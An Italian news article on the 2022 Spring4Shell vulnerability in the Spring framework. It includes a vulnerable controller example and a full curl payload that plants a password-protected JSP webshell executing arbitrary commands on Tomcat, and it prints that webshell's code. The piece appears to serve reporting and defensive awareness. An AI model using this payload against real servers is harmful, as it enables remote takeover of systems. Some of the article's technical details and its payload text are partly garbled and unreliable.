Redazione RHC : 31 Marzo 2022 10:03
Una vulnerabilità nel popolare framework Spring per lo sviluppo di applicazioni Web Java espone potenzialmente molte applicazioni Web ad attacchi informatici remoti.
La vulnerabilità, soprannominata Spring4Shell e SpringShell, ha suscitato grande scalpore tra gli esperti di sicurezza nelle ultime 24 ore.
In particolare, i ricercatori di sicurezza hanno cercato di capire se il problema è nuovo o deriva da una vulnerabilità precedente.
Sei un Esperto di Formazione?
Entra anche tu nel Partner program! Accedi alla sezione riservata ai Creator sulla nostra Academy e scopri i vantaggi riservati ai membri del Partner program.
Contattaci tramite WhatsApp al 375 593 1011 per richiedere ulteriori informazioni oppure scriviti alla casella di posta [email protected]
Supporta RHC attraverso:
Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.
Secondo gli esperti di Praetorian e Flashpoint , la vulnerabilità è nuova e può essere sfruttata da remoto se l’applicazione Spring viene distribuita su un server Apache Tomcat con una configurazione comune.
Per sfruttare la vulnerabilità, un utente malintenzionato deve individuare e identificare le installazioni di applicazioni Web utilizzando DeserializationUtils. La vulnerabilità non interessa le applicazioni Spring che utilizzano Spring Boot e Tomcat incorporato.
Spring4Shell (a cui non è ancora stato assegnato un ID CVE) avrà probabilmente bisogno di un aggiornamento importante per garantire che le installazioni siano sicure, ha spiegato Richard Ford, direttore tecnico senior di Praetorian.
La vulnerabilità è molto facile da sfruttare, ha affermato Ford, e gli utenti dovranno installare gli aggiornamenti su cui Spring sta già lavorando il prima possibile. Secondo gli esperti di Flashpoint, non si discute ancora della vulnerabilità nella comunità dei criminali informatici.
Gli esperti di sicurezza delle informazioni sono venuti a conoscenza della vulnerabilità per la prima volta quando un ricercatore cinese ha pubblicato un tweet con uno screenshot di un attacco PoC.
Tuttavia, il tweet è stato presto cancellato, a quanto pare perché è un crimine in Cina pubblicare informazioni sulle vulnerabilità senza il permesso del governo. Su VX-Underground, le informazioni su Spring4Shell sono apparse a metà giornata del 30 marzo.
Avendo accesso agli screenshot, gli esperti di sicurezza sono stati in grado di decodificare l’exploit e riprodurre l’attacco in poche ore.
La vulnerabilità sembra (A detta di Rapid7) interessare le funzioni che utilizzano l’ annotazione @RequestMapping e i parametri POJO (Plain Old Java Object). Ecco un esempio in una dimostrazione MVC di Springframework :
package net.javaguides.springmvc.helloworld.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import net.javaguides.springmvc.helloworld.model.HelloWorld;
@Controller
public class HelloWorldController {
@RequestMapping("/rapid7")
public void vulnerable(HelloWorld model) {
}
}
Un controller ( HelloWorldController
), una volta caricato in Tomcat, gestirà le richieste HTTP a http://name/appname/rapid7
. La funzione che gestisce la richiesta viene chiamata vulnerable
e dispone di un parametro POJO HelloWorld
. Qui, HelloWorld
è ridotto ma POJO può essere piuttosto complicato se necessario:
package net.javaguides.springmvc.helloworld.model;
public class HelloWorld {
private String message;
}
Questa è l’intera condizione sfruttabile, almeno dalle versioni di Spring Framework da 4.3.0 a 5.3.15. (Non sono state esplorate le versioni indietro alla 4.3.0.)
Se compiliamo il progetto e lo ospitiamo su Tomcat, possiamo quindi sfruttarlo con il seguente comando curl. Nota quanto segue utilizza esattamente lo stesso payload dalla PoC creata dal ricercatore cinese.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7
Questo payload rilascia una webshell protetta da password nella directory ROOT di Tomcat chiamata tomcatwar.jsp
, e si presenta così:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -
Gli aggressori possono a questo punto invocare i comandi al server.
Ecco un esempio di esecuzione whoami
per ottenere albinolobster
:
La versione Java sembra avere importanza.
Il test su OpenJDK 1.8.0_312 non riesce, ma OpenJDK 11.0.14.1 funziona.
Secondo un nuovo rapporto del gruppo per i diritti umani Amnesty International, pubblicato dopo quasi due anni di ricerche sulla situazione, la Cambogia resta un punto caldo sulla mappa mondiale della...
Hunters International, il gruppo responsabile di uno dei più grandi attacchi ransomware degli ultimi anni, ha annunciato ufficialmente la cessazione delle sue attività. In una dichiarazione ...
I ricercatori di Okta hanno notato che aggressori sconosciuti stanno utilizzando lo strumento di intelligenza artificiale generativa v0 di Vercel per creare pagine false che imitano qu...
Google è al centro di un’imponente causa in California che si è conclusa con la decisione di pagare oltre 314 milioni di dollari agli utenti di smartphone Android nello stato. Una giu...
La RHC Conference 2025, organizzata da Red Hot Cyber, ha rappresentato un punto di riferimento per la comunità italiana della cybersecurity, offrendo un ricco programma di talk, workshop e compet...
Copyright @ REDHOTCYBER Srl
PIVA 17898011006